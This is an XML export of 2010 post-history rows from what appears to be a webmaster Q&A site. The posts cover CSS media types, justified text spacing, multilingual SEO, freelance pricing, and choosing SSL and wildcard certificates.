  <row Id="5278" PostHistoryTypeId="2" PostId="2722" RevisionGUID="f3845693-c235-4fbe-bc5d-b92d707df3c7" CreationDate="2010-09-01T21:05:06.637" UserId="1603" Text="The CSS Media Types `screen` and `print` is enough in most circumstances, unless your visitors have special needs and you have the time and resources to make them happy.&#xD;&#xA;&#xD;&#xA;I am not familiar with developing style sheets to people with disabilities (like the `aural` Media Type) which I guess is nothing to be proud of, but the needed knowledge and tools for proper testing seem hard to come by. Simple googling did not turn up a browser with aural support.&#xD;&#xA;&#xD;&#xA;The `handheld` Media Type is not a very good tool to ensure an enjoyable experience for mobile devices, since they come in an absurd variety. You can use it to hide portions of the page which is unimportant enough to omit on small screens, but creating a style sheet which will make your site look good on a healthy portion of mobile devices is close to impossible, unless your site is structured in a simple way.&#xD;&#xA;&#xD;&#xA;W3C are working on http://www.w3.org/TR/css3-mediaqueries/ which is trying to address the problems of mobile devices, but it is not silver bullet and it’s getting some harsh and relevant critique on http://www.cloudfour.com/css-media-query-for-mobile-is-fools-gold/ &#xD;&#xA;&#xD;&#xA;If mobile device support is important, it’s probably more productive looking at serving them specialized html/media, either highly simplified or specialized to the individual device. &#xD;&#xA;&#xD;&#xA;So you are probably okay with just having the CSS Media Types `screen` and `print`." />
  <row Id="5279" PostHistoryTypeId="10" PostId="2717" RevisionGUID="441678f3-8698-413a-aa82-d8f8f64aa4e1" CreationDate="2010-09-01T21:07:06.227" UserId="180" CloseReasonId="2" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="5280" PostHistoryTypeId="2" PostId="2723" RevisionGUID="afdc8748-c203-4a79-9eb8-6d73458c586b" CreationDate="2010-09-01T21:07:21.393" UserId="1803" Text="A nice, big repository of different CSS-menus can be found here:&#xD;&#xA;http://www.cssplay.co.uk/menus/&#xD;&#xA;&#xD;&#xA;Be aware: &quot;If you are using this on a commercial web site, or as a paying job for a client, then please email me asking for permission&quot; (Stu Nicholls)&#xD;&#xA;" />
  <row Id="5281" PostHistoryTypeId="2" PostId="2724" RevisionGUID="7e23ff18-cf94-4ff1-8d99-6f7803a688a4" CreationDate="2010-09-01T22:17:32.943" UserId="1804" Text="On my company's website, we have a page (&lt;a href=&quot;http://www.dmacorporation.com/whatwedo/index.php&quot;&gt;here&lt;/a&gt;) that I have been asked to adjust.  What is desired is to take the first paragraph and adjust it to trim down the amount of space between words.  My first thought was to make the paragraph (and then the rest of the page, to match) left aligned instead of justify.  To me, however, this doesn't look very good.  Are there any other options available for me to make this look good (or at least acceptable), or am I stuck with a left justify?  Thanks.  (P.S. I don't think these tags are the most appropriate, but I can't add ones I think work better.  Oh, well.)" />
  <row Id="5282" PostHistoryTypeId="1" PostId="2724" RevisionGUID="7e23ff18-cf94-4ff1-8d99-6f7803a688a4" CreationDate="2010-09-01T22:17:32.943" UserId="1804" Text="Options for adjusting paragraphs?" />
  <row Id="5283" PostHistoryTypeId="3" PostId="2724" RevisionGUID="7e23ff18-cf94-4ff1-8d99-6f7803a688a4" CreationDate="2010-09-01T22:17:32.943" UserId="1804" Text="&lt;css&gt;&lt;html&gt;" />
  <row Id="5284" PostHistoryTypeId="2" PostId="2725" RevisionGUID="aee57409-3169-4527-a73c-ff99172778bd" CreationDate="2010-09-01T23:39:46.370" UserId="5" Text="One thing you could try would be constraining the content area's width, just like the home page.&#xD;&#xA;&#xD;&#xA;By setting an explicit width on your content, you can control how the justified spacing occurs, instead of depending on what browser window width your user might have." />
  <row Id="5285" PostHistoryTypeId="5" PostId="2563" RevisionGUID="07e91a4f-7255-4ab0-a692-084d92a6c45f" CreationDate="2010-09-01T23:54:27.220" UserId="5" Comment="added 10 characters in body" Text="Check out this site to get an understanding of the value of domain names in general, http://www.igoldrush.com/domain-guide/domain-buying-and-selling/determining-the-value-of-your-domain-names/.&#xD;&#xA;&#xD;&#xA;There are some sites that will give you quotes. GoDaddy gives free quotes but they really only look at how many visits your site has had over a period of time.&#xD;&#xA;&#xD;&#xA;In general, domain names aren't worth much unless they have short, easy-to-recognize and remember names, and are a .com.&#xD;&#xA;&#xD;&#xA;If your domain names aren't obviously worth any money then I would suggest letting them expire or you could just hold on to them for the annual registration fee which runs around $10 until you find a better use for them." />
  <row Id="5286" PostHistoryTypeId="2" PostId="2726" RevisionGUID="08879e79-c159-4148-853d-8e7843c8c828" CreationDate="2010-09-02T00:36:59.803" UserId="1341" Text="(I hope I asked the question right..)&#xD;&#xA;&#xD;&#xA;###Fake site###&#xD;&#xA;&#xD;&#xA;Our site lists products for sale.&#xD;&#xA;&#xD;&#xA;eg : http://www.myWebSite.com/products/some-drink-we-love-to-guzzle&#xD;&#xA;&#xD;&#xA;Each product page has been translated into a few languages: English(UK), English(US), French, German, Chinese.&#xD;&#xA;&#xD;&#xA;Can google (or any search engine) search our site and be smart enough to 'see' the localised version so people can find our products, if they search for it in their own language?&#xD;&#xA;&#xD;&#xA;eg.&#xD;&#xA;&#xD;&#xA;In my browser i have Chinese set as my default language. I then goto my fav search engine or a [Hong Kong search engine][1] (assumption: it's defaulted to chinese) and search for a product - in chinese. The url is in US english but the page should be found because the content was all in chinese...&#xD;&#xA;&#xD;&#xA;Is this scenario possible? Can we tell search engines to hit my site as say you want french content, or german content, etc.. ?? so it knows to index that content under that language?&#xD;&#xA;&#xD;&#xA;Cheers :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com.hk/" />
  <row Id="5287" PostHistoryTypeId="1" PostId="2726" RevisionGUID="08879e79-c159-4148-853d-8e7843c8c828" CreationDate="2010-09-02T00:36:59.803" UserId="1341" Text="How can I get search engines to crawl my site and see a localised view of my data? " />
  <row Id="5288" PostHistoryTypeId="3" PostId="2726" RevisionGUID="08879e79-c159-4148-853d-8e7843c8c828" CreationDate="2010-09-02T00:36:59.803" UserId="1341" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;country-specific&gt;" />
  <row Id="5289" PostHistoryTypeId="2" PostId="2727" RevisionGUID="5ac819cb-7d84-438d-9689-6c934c0a5029" CreationDate="2010-09-02T01:04:05.337" UserId="1253" Text="It's possible as long as you make the content available for them to find. You can do this two ways (and both are always a good idea):&#xD;&#xA;&#xD;&#xA; 1. Submit an XML sitemap in Google Webmaster Tools&#xD;&#xA; 2. Link to each localized version some place that can be crawled and indexed by Google (your home page being an ideal location but an HTML sitemap works also)&#xD;&#xA;&#xD;&#xA;If possible, put your localized content in a subdomain or subdirect with the two character representation of the language that content is in (i.e. en.example.com or example.com/en). I read somewhere this is helpful but I cannot find that source right now. If I can locate it I will be sure to link to it." />
  <row Id="5290" PostHistoryTypeId="5" PostId="2727" RevisionGUID="5fc34665-4a85-4055-802f-0940717f39c3" CreationDate="2010-09-02T01:09:09.450" UserId="1253" Comment="added 297 characters in body; added 34 characters in body; added 110 characters in body; deleted 18 characters in body; added 43 characters in body" Text="It's possible as long as you make the content available for them to find. You can do this two ways (and both are always a good idea):&#xD;&#xA;&#xD;&#xA; 1. Submit an XML sitemap in Google Webmaster Tools&#xD;&#xA; 2. Link to each localized version some place that can be crawled and indexed by Google (your home page being an ideal location but an HTML sitemap works also)&#xD;&#xA;&#xD;&#xA;If possible, put your localized content in a subdomain or subdirect with the two character representation of the language that content is in (i.e. en.example.com or example.com/en) so Google knows that content is localized. ([source][1]).&#xD;&#xA;&#xD;&#xA;Also, if you really want to make sure that content ranks well in the country that speaks that language your best bet is to make separate websites for each langauge and get the country specific TLD for that site (most important - [source][2]), host it in that country (less important), and set the geographic target in Google Webmaster Tools. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=12a5507889c20461&amp;hl=en&#xD;&#xA;  [2]: http://www.google.com/support/forum/p/Webmasters/thread?tid=2e61e49baa5a6eaf&amp;hl=en" />
  <row Id="5291" PostHistoryTypeId="5" PostId="2727" RevisionGUID="799bbaaf-0fcc-4ff6-a834-97bacfe3b10e" CreationDate="2010-09-02T01:14:30.773" UserId="1253" Comment="added 175 characters in body; added 42 characters in body; deleted 1 characters in body" Text="It's possible as long as you make the content available for them to find. You can do this two ways (and both are always a good idea):&#xD;&#xA;&#xD;&#xA; 1. Submit an XML sitemap in Google Webmaster Tools&#xD;&#xA; 2. Link to each localized version some place that can be crawled and indexed by Google (your home page being an ideal location but an HTML sitemap works also)&#xD;&#xA;&#xD;&#xA;If possible, put your localized content in a subdomain or subdirect with the two character representation of the language that content is in (i.e. en.example.com or example.com/en) so Google knows that content is localized. ([source][1]).&#xD;&#xA;&#xD;&#xA;Also, if you really want to make sure that content ranks well in the country that speaks that language your best bet is to make separate websites for each langauge and get the country specific TLD for that site (most important - [source][2]), host it in that country (less important), and set the geographic target in Google Webmaster Tools. &#xD;&#xA;&#xD;&#xA;**Update:** Found a great [blog post from Google][3] that should tell you everything I mentioned and even more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=12a5507889c20461&amp;hl=en&#xD;&#xA;  [2]: http://www.google.com/support/forum/p/Webmasters/thread?tid=2e61e49baa5a6eaf&amp;hl=en&#xD;&#xA;  [3]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html" />
  <row Id="5292" PostHistoryTypeId="2" PostId="2728" RevisionGUID="f97da317-4996-42e2-bc10-47181c247296" CreationDate="2010-09-02T04:50:45.990" UserId="1806" Text="Also worth taking into account is the content of your site. If you're providing a tech support forum for people having trouble with video cards or monitors, for example, you probably want it usable at 640x480.&#xD;&#xA;&#xD;&#xA;If many of your users are older or otherwise likely to have weaker eyesight, they might have high resolution screens, but with very large fonts, so you need to allow for that." />
  <row Id="5293" PostHistoryTypeId="10" PostId="2710" RevisionGUID="527ff859-8c00-4631-9988-a694c5d80979" CreationDate="2010-09-02T05:14:30.427" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:221,&quot;DisplayName&quot;:&quot;Kris&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;},{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="5294" PostHistoryTypeId="2" PostId="2729" RevisionGUID="dc399b28-d4e7-4f23-97ef-0417dc30bfc3" CreationDate="2010-09-02T05:31:27.943" UserId="1805" Text="I was asked to design a website for a client. Personally, I'd work for free since I'm just in it for the experience of working with a client but they insist on paying me so I will get an idea as to how freelancing works and for them to know how much they should pay for future services. I have very little experience when it comes to real work since I'm still a student but I've had internships as a web designer/developer in some software companies here in my area.&#xD;&#xA;&#xD;&#xA;I can build decent web pages using HTML, CSS, Javascript/jQuery, Java/JSP/J2EE and SQL. I am also familiar with some CMS like WordPress and Joomla. How much do you think should I charge my client if I were to design a simple static but somehow functional website for them and how should I charge them for my services?" />
  <row Id="5295" PostHistoryTypeId="1" PostId="2729" RevisionGUID="dc399b28-d4e7-4f23-97ef-0417dc30bfc3" CreationDate="2010-09-02T05:31:27.943" UserId="1805" Text="How much should a newbie charge a client for web design work?" />
  <row Id="5296" PostHistoryTypeId="3" PostId="2729" RevisionGUID="dc399b28-d4e7-4f23-97ef-0417dc30bfc3" CreationDate="2010-09-02T05:31:27.943" UserId="1805" Text="&lt;website-design&gt;" />
  <row Id="5297" PostHistoryTypeId="2" PostId="2730" RevisionGUID="1377ac1e-6510-4895-8996-a27208076161" CreationDate="2010-09-02T06:22:01.633" UserId="1207" Text="Find the going rate for entry-level web developers in your area, and add 33% because it's contract work and not salaried.&#xD;&#xA;&#xD;&#xA;There are a lot of sites out there that can help you get an idea of the going rate, but a simple place to start is [indeed.com][1]. Just put in entry level web developer and your location to get a list of jobs and the rates for those over on the left.&#xD;&#xA;&#xD;&#xA;It's not precise but it'll give you a ballpark of the going rate for your skill level.&#xD;&#xA;&#xD;&#xA;Also if you are still in school your career counselor could give you good advice on what you should expect given your experience and location.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.indeed.com/jobs?q=entry+level+web+developer&amp;l=austin,+tx" />
  <row Id="5298" PostHistoryTypeId="5" PostId="2729" RevisionGUID="e4217fbe-159e-4d73-870e-746372611f93" CreationDate="2010-09-02T06:30:48.243" UserId="1805" Comment="Added details as to where I am located" Text="I was asked to design a website for a client. Personally, I'd work for free since I'm just in it for the experience of working with a client but they insist on paying me so I will get an idea as to how freelancing works and for them to know how much they should pay for future services. I have very little experience when it comes to real work since I'm still a student but I've had internships as a web designer/developer in some software companies here in my area.&#xD;&#xA;&#xD;&#xA;I can build decent web pages using HTML, CSS, Javascript/jQuery, Java/JSP/J2EE and SQL. I am also familiar with some CMS like WordPress and Joomla. How much do you think should I charge my client if I were to design a simple static but somehow functional website for them and how should I charge them for my services?&#xD;&#xA;&#xD;&#xA;I forgot to mention that I am located in the Philippines. Since it's a 3rd world country, I'm pretty sure the rates here are lower than most areas." />
  <row Id="5299" PostHistoryTypeId="2" PostId="2731" RevisionGUID="28949684-6eb3-49be-b9da-ada589ac76c6" CreationDate="2010-09-02T08:39:33.740" UserId="1424" Text="I need to buy SSL certificates and it is the first time.&#xD;&#xA;&#xD;&#xA;1) My option would be the &quot;cheapest ones&quot;. What am I going to risk, what kind of service quality I'm going to lose if I buy the cheapest ? Are they less safe ?&#xD;&#xA;&#xD;&#xA;2) I've been suggested to use geotrust.com However I'm developing a website in Netherlands and I was wondering if it is better to use an european certificate or it doesn't matter.&#xD;&#xA;&#xD;&#xA;If it matters, could you suggest SSL services in Netherlands, or near by ?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="5300" PostHistoryTypeId="1" PostId="2731" RevisionGUID="28949684-6eb3-49be-b9da-ada589ac76c6" CreationDate="2010-09-02T08:39:33.740" UserId="1424" Text="Looking for SSL certificates (first time)" />
  <row Id="5301" PostHistoryTypeId="3" PostId="2731" RevisionGUID="28949684-6eb3-49be-b9da-ada589ac76c6" CreationDate="2010-09-02T08:39:33.740" UserId="1424" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="5302" PostHistoryTypeId="2" PostId="2732" RevisionGUID="4f359875-91dd-408d-9102-c0acb832633a" CreationDate="2010-09-02T09:09:31.170" UserId="1293" Text="You might take a look at startssl.com. They are based in Israel, but most people (in the US, anyway) have no idea who issues a particular certificate, or where they're based, so I believe the location of the CA is immaterial.&#xD;&#xA;&#xD;&#xA;The main risk that you face from choosing the wrong provider is that you might select a CA (certificate authority) that isn't compatible with the browsers used by the people who visit your webpage, which means they'll get scary warnings about &quot;untrusted certificates&quot; and may decide not to interact with your site further.&#xD;&#xA;&#xD;&#xA;Also see http://webmasters.stackexchange.com/questions/37/if-i-need-https-ssl-encryption-on-my-web-site-does-it-matter-who-i-get-my-cert" />
  <row Id="5303" PostHistoryTypeId="5" PostId="2713" RevisionGUID="dbeeaabf-e60c-416c-806b-52904949a963" CreationDate="2010-09-02T09:30:40.427" UserId="221" Comment="added 236 characters in body" Text="There is no minimum amount. A truly unpopular website will attract no traffic and require no bandwidth. Most site, will however fare a little better but it all depends on how much traffic the site gets.&#xD;&#xA;&#xD;&#xA;&gt; Let's say I have a hosting service with 125GB traffic&#xD;&#xA;&#xD;&#xA;125 GB per year? day? hour? second?&#xD;&#xA;&#xD;&#xA;Per year, this isn't all that much. &#xD;&#xA;&#xD;&#xA;Per day it would require at least 12.5 Mbits/sec just to be able to move the data assuming the demand was perfectly even. &#xD;&#xA;&#xD;&#xA;Assuming you have a 1000 Mbit/second connection (i.e. you can shovel 1 gigabit - about 120 megabytes - per second) you could in theory host 80 such sites, but that would FULLY utilize your maximum *theoretical* bandwidth. In practice a 1 Gbit/sec link will never reach that theoretical maximum.&#xD;&#xA;&#xD;&#xA;Worse yet, demand is far from even. So even if the aggregate amount of data transfered per day is 125 Gigabyte you may find that the load will vary from near zero to 100+ Mbits/sec! This depends on the type of site, but almost all sites but the most global ones will follow the daily rhythm of night and day. So your 1 Gbit/sec link would probably struggle to handle even just 20-40 sites that each require about 125 GiB of bandwidth per day during peak hours.&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;If the traffic is 125 GB per month per site (as comment indicates) than a 1 Gbit/sec link should be able to easily handle on the order of 1000 sites. This represents an average bandwidth requirement of under 0.5 Mbits/sec. &#xD;&#xA;" />
  <row Id="5304" PostHistoryTypeId="2" PostId="2733" RevisionGUID="81518178-f8b9-44ff-937d-ec050c8e38ed" CreationDate="2010-09-02T09:34:43.993" UserId="1424" Text="Can I buy a wildcart certificate to use the same SSL certificate on multiple domains such as:&#xD;&#xA;&#xD;&#xA;www.website1.com&#xD;&#xA;www.website2.com&#xD;&#xA;... etc&#xD;&#xA;&#xD;&#xA;(on different hosting services) ?&#xD;&#xA;&#xD;&#xA;If yes&#xD;&#xA;&#xD;&#xA;(1) Is this a good and cheap solution ?&#xD;&#xA;(2) What could I risk ?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="5305" PostHistoryTypeId="1" PostId="2733" RevisionGUID="81518178-f8b9-44ff-937d-ec050c8e38ed" CreationDate="2010-09-02T09:34:43.993" UserId="1424" Text="Using wildcart certificates" />
  <row Id="5306" PostHistoryTypeId="3" PostId="2733" RevisionGUID="81518178-f8b9-44ff-937d-ec050c8e38ed" CreationDate="2010-09-02T09:34:43.993" UserId="1424" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="5307" PostHistoryTypeId="2" PostId="2734" RevisionGUID="0edeb0ae-3d05-44ae-bd9c-b387b9bb4501" CreationDate="2010-09-02T10:07:26.530" UserId="221" Text="This is *not* how wildcard certificates work.&#xD;&#xA;&#xD;&#xA;Wildcards are only for *subdomains*. I.e. a wildcard certificate for `example.com` will apply also to all subdomains, e.g. `a.example.com`, `b.example.com`, `c.example.com` etc. Basically you can view the wildcard expression as `*.example.com`.&#xD;&#xA;&#xD;&#xA;There is (as far as I know) no way to have a single certificate that covers both `website1.com` and `website2.com`." />
  <row Id="5308" PostHistoryTypeId="5" PostId="2733" RevisionGUID="df0fe072-ae9b-4041-8f28-1ac80efd0de6" CreationDate="2010-09-02T10:08:48.117" UserId="221" Comment="deleted 8 characters in body" Text="Can I buy a wildcart certificate to use the same SSL certificate on multiple domains such as:&#xD;&#xA;&#xD;&#xA;www.website1.com&#xD;&#xA;www.website2.com&#xD;&#xA;... etc&#xD;&#xA;&#xD;&#xA;(on different hosting services) ?&#xD;&#xA;&#xD;&#xA;If yes&#xD;&#xA;&#xD;&#xA;(1) Is this a good and cheap solution ?&#xD;&#xA;(2) What could I risk ?&#xD;&#xA;" />
  <row Id="5309" PostHistoryTypeId="2" PostId="2735" RevisionGUID="cd5a292b-1f81-4495-9a07-4d112d140dcf" CreationDate="2010-09-02T10:56:48.640" UserId="70" Text="[Kris answer][1] regarding wildcard certificates is correct (+1) - however, figuring from your [related question][2] that you might be more concerned about not having to buy separate certificates for each domain rather than sharing a single certificate technically (e.g. to reduce administrative overhead), I'd like to second [gbroiles recommendation][3] of [startssl.com][4] for their (to the best of my knowledge) still unique offering in this regard specifically:&#xD;&#xA;&#xD;&#xA;* They are relatively inexpensive compared to many other commercial providers in the first place due to their different approach to validation/certification, that is, they initially validate persons/organizations only, the later certificate generation and management thereafter is mostly automated and hence free of additional cost.&#xD;&#xA;&#xD;&#xA;* This approach essentially allows you to generate certificates for as many domains as you please yourself (see FAQ 27: [For what am I paying exactly and how many certificates do I get with Class 2?][5]).&#xD;&#xA; * Wildcard certificates for *subdomains* are still supported, of course, though their need/usage is implicitly reduced to cases where it makes sense semantically/technically, because it is obviously no problem to generate a sub domain specific certificate for free as well, if need be.&#xD;&#xA;&#xD;&#xA;You might end up with slightly more administrative effort initially than with the more expensive providers (not necessarily though) and a slightly reduced client root certificate coverage than with the larger providers (constantly decreasing issue with recent client/browser versions), but other than that you'll feel (and be) in control to cover all your needs.&#xD;&#xA;&#xD;&#xA;This solution worked very well for us, after switching to [StartSSL][6] we never looked back.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: #2734&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2731/looking-for-ssl-certificates-first-time&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/2731/looking-for-ssl-certificates-first-time/2732#2732&#xD;&#xA;  [4]: http://www.startssl.com/&#xD;&#xA;  [5]: http://www.startssl.com/?app=25#27&#xD;&#xA;  [6]: http://www.startssl.com/" />
  <row Id="5310" PostHistoryTypeId="5" PostId="2735" RevisionGUID="bfe241d4-9e9e-46b7-8033-2002b4fd227c" CreationDate="2010-09-02T11:32:07.200" UserId="70" Comment="Added link to 'StartSSL Free' offering.; added 16 characters in body" Text="[Kris answer][1] regarding wildcard certificates is correct (+1) - however, figuring from your [related question][2] that you might be more concerned about not having to buy separate certificates for each domain rather than sharing a single certificate technically (e.g. to reduce administrative overhead), I'd like to second [gbroiles recommendation][3] of [startssl.com][4] for their (to the best of my knowledge) still unique offering in this regard specifically:&#xD;&#xA;&#xD;&#xA;* They are relatively inexpensive ([or free even][5]) compared to many other commercial providers in the first place due to their different approach to validation/certification, that is, they initially validate persons/organizations only, the later certificate generation and management thereafter is mostly automated and hence free of additional cost.&#xD;&#xA;&#xD;&#xA;* This approach essentially allows you to generate certificates for as many domains as you please yourself (see FAQ 27: [For what am I paying exactly and how many certificates do I get with Class 2?][6]).&#xD;&#xA; * Wildcard certificates for *subdomains* are still supported, of course, though their need/usage is implicitly reduced to cases where it makes sense semantically/technically, because it is obviously no problem to generate a sub domain specific certificate for free as well, if need be.&#xD;&#xA;&#xD;&#xA;You might end up with slightly more administrative effort initially than with the more expensive providers (not necessarily though) and a slightly reduced client root certificate coverage than with the larger providers (constantly decreasing issue with recent client/browser versions), but other than that you'll feel (and be) in control to cover all your needs at minimal cost.&#xD;&#xA;&#xD;&#xA;This solution works very well for us, after switching to [StartSSL][7] we never looked back.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: #2734&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2731/looking-for-ssl-certificates-first-time&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/2731/looking-for-ssl-certificates-first-time/2732#2732&#xD;&#xA;  [4]: http://www.startssl.com/&#xD;&#xA;  [5]: http://www.startssl.com/?app=1&#xD;&#xA;  [6]: http://www.startssl.com/?app=25#27&#xD;&#xA;  [7]: http://www.startssl.com/" />
  <row Id="5311" PostHistoryTypeId="2" PostId="2736" RevisionGUID="adbe0765-8525-4eb8-a3da-732bcd7f2ae5" CreationDate="2010-09-02T11:45:41.710" UserId="1253" Text="I use [Godaddy.com Standard SSL certificates][1] which are inexpensive (currently $24.99 per year) and fast to acquire. They work in every browser so no untrusted certificate warnings.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.godaddy.com/ssl/ssl-certificates.aspx?ci=8979" />
  <row Id="5312" PostHistoryTypeId="5" PostId="2734" RevisionGUID="389ee29b-02c4-422e-8ccf-2682e218344f" CreationDate="2010-09-02T11:47:29.990" UserId="221" Comment="added 250 characters in body" Text="This is *not* how wildcard certificates work.&#xD;&#xA;&#xD;&#xA;Wildcards are only for *subdomains*. I.e. a wildcard certificate for `example.com` will apply also to all subdomains, e.g. `a.example.com`, `b.example.com`, `c.example.com` etc. Basically you can view the wildcard expression as `*.example.com`.&#xD;&#xA;&#xD;&#xA;There is (as far as I know) no way to have a single certificate that covers both `website1.com` and `website2.com`, except (as Farseeker pointed out in his comment) to issue a `*.com` wildcard that would apply to all .com domains. No reputable certificate authority would ever issue such a certificate, and if they did they would cease to be reputable very quickly!" />
  <row Id="5313" PostHistoryTypeId="2" PostId="2737" RevisionGUID="a51d2150-a6ab-43f1-b34c-d03bcc60136e" CreationDate="2010-09-02T12:09:36.460" UserId="1429" Text="1. do you know how much money you need to live one year? Let's say 25K pesos.&#xD;&#xA;&#xD;&#xA;2. Double them up, becasue you will have to pay taxes on those money, so 50K.&#xD;&#xA;&#xD;&#xA;3. One year of work is about 260 days (considering you don't work on Sat and Sun)&#xD;&#xA;&#xD;&#xA;4. Remove form those dayd some vacation days and sick time days.&#xD;&#xA;In US I think emplyees start with 1/2 weeks of vacation and 1 week of sick time, don't know in Philippines. So let's suppose youi work 238 days (= 260 - 15 - 7)&#xD;&#xA;&#xD;&#xA;5. Every day you work 8 hours, so you work 1904 hours.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**TOTAL: you must earn at least: 26 pesos per hour: (= 50K / 1904)**&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5314" PostHistoryTypeId="2" PostId="2738" RevisionGUID="43038bcd-c1b8-4e8c-ab8b-a7b3d4da7424" CreationDate="2010-09-02T14:23:58.573" UserId="233" Text="Each URL should only return one page. Slight variations are fine, but the same page in a different language belongs on a different URL. Either a subfolder or subdomain are fine - see [this question][1] for more info.&#xD;&#xA;&#xD;&#xA;If one particular version is far more popular than another you could make that the default, for example `site.com/product/something` for American visitors, then `site.com/de/product/something` for German users. Redirect as appropriate and/or provide links for users to choose a different language if they desire.&#xD;&#xA;&#xD;&#xA;Google is perfectly adequate at determining the language of the page (although adding the language meta tag is a great idea), so while country-specific domains would help, they are not necessary.&#xD;&#xA;&#xD;&#xA;Note: If you are simply translating text between pages I would suggest merging the US/UK parts into one. But if you need to show country-specific data such as prices, then keep them separate.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/403/how-should-i-structure-my-urls-for-both-seo-and-localization" />
  <row Id="5315" PostHistoryTypeId="2" PostId="2739" RevisionGUID="8d944c1e-1abb-43e2-bc4c-95d6d96b652b" CreationDate="2010-09-02T14:45:27.330" UserId="233" Text="Here's my assessment on first glance:&#xD;&#xA;&#xD;&#xA;* You can't reduce the spacing between the words while still keeping the text justified. Your choice is either smaller, equal spacing (non-justified) or larger, variable spacing (justified).&#xD;&#xA;* Text looks fine without justification. It's generally agreed that left-aligned is better than justified, on the web at least [citation needed].&#xD;&#xA;* The line length is very long once the text is wrapping under the image. Generally 60-80 characters per line is the most readable; your page has 160+ on my screen.&#xD;&#xA;&#xD;&#xA;Some things you can try:&#xD;&#xA;&#xD;&#xA;* Reduce the amount of text: this is often an overlooked solution. Do you need all that text there? Will people read it? Consider hiring a professional copywriter to make your content more concise and more appealing to read.&#xD;&#xA;* Reduce the width of the text container: perhaps make it fixed width so that all users see the same line length. You could keep the image outside the text block.&#xD;&#xA;* Increase the font-size: this will help decrease the line length (fewer characters per line).&#xD;&#xA;* Increase the line-height: this makes it easier for the eye to drop down to the next line, particularly with longer lines. (Browser default is around 1.3; try 1.4 or 1.5.)&#xD;&#xA;* Reduce the letter spacing: this doesn't look good IMO (try it with `letter-spacing: -1px`) but it would reduce the spacing between words.&#xD;&#xA;* I'd also suggest center-aligning the content *blocks*. Your logo and menu at the top, and text in the footer are all center-aligned." />
  <row Id="5316" PostHistoryTypeId="5" PostId="2739" RevisionGUID="5369288a-7639-4e11-82f6-bfd9bf784379" CreationDate="2010-09-02T16:10:31.663" UserId="233" Comment="added 466 characters in body" Text="Here's my assessment on first glance:&#xD;&#xA;&#xD;&#xA;* You can't reduce the spacing between the words while still keeping the text justified. Your choice is either smaller, equal spacing (non-justified) or larger, variable spacing (justified).&#xD;&#xA;* Text looks fine without justification. It's generally agreed that left-aligned is better than justified, on the web at least*.&#xD;&#xA;* The line length is very long once the text is wrapping under the image. Generally 60-80 characters per line is the most readable; your page has 160+ on my screen.&#xD;&#xA;&#xD;&#xA;Some things you can try:&#xD;&#xA;&#xD;&#xA;* Reduce the amount of text: this is often an overlooked solution. Do you need all that text there? Will people read it? Consider hiring a professional copywriter to make your content more concise and more appealing to read.&#xD;&#xA;* Reduce the width of the text container: perhaps make it fixed width so that all users see the same line length. You could keep the image outside the text block.&#xD;&#xA;* Increase the font-size: this will help decrease the line length (fewer characters per line).&#xD;&#xA;* Increase the line-height: this makes it easier for the eye to drop down to the next line, particularly with longer lines. (Browser default is around 1.3; try 1.4 or 1.5.)&#xD;&#xA;* Reduce the letter spacing: this doesn't look good IMO (try it with `letter-spacing: -1px`) but it would reduce the spacing between words.&#xD;&#xA;* I'd also suggest center-aligning the content *blocks*. Your logo and menu at the top, and text in the footer are all center-aligned.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;\* I haven't found any solid articles online, but this paragraph from Jakob Nielsen's [usability review of the Kindle][1] mentions it in passing:&#xD;&#xA;&#xD;&#xA;&gt; The Kindle iPhone app displays pages with fully justified text (that is, flush left and right). This reduces legibility slightly, particularly for the small telephone screen's narrow columns. Stanza uses left-justified text only, which is a better choice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.useit.com/alertbox/kindle-usability-review.html" />
